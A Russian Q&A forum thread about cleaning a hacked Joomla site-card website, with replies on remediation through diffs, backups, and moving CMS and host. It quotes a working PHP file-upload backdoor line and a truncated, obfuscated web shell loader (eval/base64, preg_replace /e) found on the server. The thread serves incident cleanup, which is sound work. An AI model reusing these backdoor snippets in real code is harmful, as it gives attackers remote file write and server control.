@fattan
программист

Заражение сайта, что делать дальше?

Подруга попросила помочь почистить зараженный сайт. Скачал, изучил, и что увидел в итоге.....

4f9d3ff88834426e8a250799ea823df0.png

15 тыщ файлов. Ок, давайте проверим антивирусом:

2ac07d348331442aab42e5da764ef4f1.png

несколько десятков файлов заражено. Начал открывать, изучать. Смутила такая строчка в index.php:

if ($_FILES['F1l3']) {move_uploaded_file($_FILES['F1l3']['tmp_name'], $_POST['Name']); echo 'OK'; Exit;}


Значит хацкер может по удалёнке заливать файлы. Еще меня смутил файл с названием cron.php. Какой может быть крон на сайте-визитке? Файл cron.php НЕ обнаружился антивирусом как зараженный. Но я решил его исследовать. Теперь самое интересное:

eval(base64_decode("Ly83MTg3O...MTg3O");

Таково было содержание крона. Запустил, получил:

$auth_pass = "63a9f0ea7bb98050796b649e85481845"; $color = "#df5"; $default_action = 'FilesMan'; $default_use_ajax = true; $default_charset = 'Windows-1251'; preg_replace("/.*/e","\x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x66\x6C\x61\x74\x65\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F\x64\x65\x28'7X1re9s2z/Dn9Vc...uA='\x29\x29\x29\x3B",".");


Запустив его, я увидел в браузере такой интерфейс... со всей подноготной сарвака:

90bab93c68734cc0abdcf6aea3922a24.pngd02a1986cd934d2ab7806d8b95eca254.png

Через этот интерфейс выходит можно делать всё что угодно с файловой системой сервера.

Встал вопрос: как вылечить сайт?

1. Нанять мартышку, которая проверит все 15 тыщ файлов и удалит все вирусы (потому что антивирус сам из base64_decode вируса вытащить не может) - это, наверно, дорого.
2. откатить до бэкапа, желательно полугодовой давности (этот вариант предложила подруга, сам сомневаюсь, а вдруг уже полгода назад сайт был заражен, всякое бывает)
3. сменить хостера, сменить CMS, написать сайт с нуля, провести базовую оптимизацию по безопасности: настроить .htacsses, залочить доступы по ftp и т.д. (этот вариант предложил я. потому что сам уже так делал, и это прокатывало)

Сам ранее пробовал все 3 варианта, когда возился со своими зараженными сайтами. В итоге помог только третий вариант.
Что вы посоветуете? Мб есть еще какие-то варианты? Или есть какие-нибудь дополнения по вариантам, предложенным мной?
  • Вопрос задан
  • 1185 просмотров
Решения вопроса 1
@fattan Автор вопроса
программист
Резюмирую:
Хостинг был Спайсвеб (sweb.ru). Бэкапы у них хранятся за последние пять дней максимум (!!!). Техподдержка молчит. Сказка!
Сайт был на джумле 2.1 (или что-то типа того).
Я ручками перенес материалы из базы джумлы 2.1 в Joomla! 3.4.1. (для 10ти страниц сайта-визитки это оказалось быстрее чем если бы я возился с их migrate-системой)
...А потом психанул и переписал сайт с нуля на modx evolution (он у меня в любимчиках).

Естественно, сменил хостера.

В процессе работы заглянул ради интереса в скрипты Joomla! 3.4.1 и скрипты самого свежего modx evolution (1.13 вроде)
и.... был удивлен! В джумле уже давно все фичи php 5.4 исользуются - автозагрузка классов с помощью нэймспэйсов, привытные поля в классах... и двухфакторная авторизация из коробки и много чего. (я же останусь на modx evo потому что там можно быстро и гибко всё настроить)

А вот разработчики моего любимого modx, похоже, до сих пор бегают с копьями в шкурах мамонта. Это объясняется основным упором на ветку REVO (подумал я), поэтому EVO медленно развивается.

ВЫВОДЫ:

1. Не используйте Спайсвеб. Вообще никогда.
2. Не используйте джумлу. Старую джумлу.
3. Не бойтесь новой Джумлы.
Ответ написан
Комментировать
Пригласить эксперта
Ответы на вопрос 2
@SanyaZol
Если бэкапов нет, а лечить надо, то рецепт примерно такой:
- Берем чистую CMS той же версии и делаем diff. будут отличаться все файлы из-за этого кода.
- Анализируем изменения, внесенные вирусом во все файлы. Скорее всего, их можно поправить простым скриптом на php - правим, и стараемся привести файлы к изначальному виду.
Далее делаем diff с чистой CMS (в режиме ignore whitespace если изменения показывают кучу пробелов из-за неточного лечения) и решаем что делать с оставшимися "несинхронизированными" файлами: чистить ручками или писать скрипт или ещё что.
- не забываем проверить базу. там тоже могло остаться много интересного
- когда всё очищено - делаем бэкап, обновляем всё, снова делаем бэкап.
Ответ написан
Комментировать
@vilgeforce
Раздолбай и программист
Бэкапы должны быть инкрементными, с хорошей давностью хранения истории. По ним легко можно отследить когда поменялся файл и каким именно образом.
Никакое автоматическое лечение не даст гарантии, имейте это в виду.
Ответ написан
Ваш ответ на вопрос

Войдите, чтобы написать ответ

Войти через центр авторизации
Похожие вопросы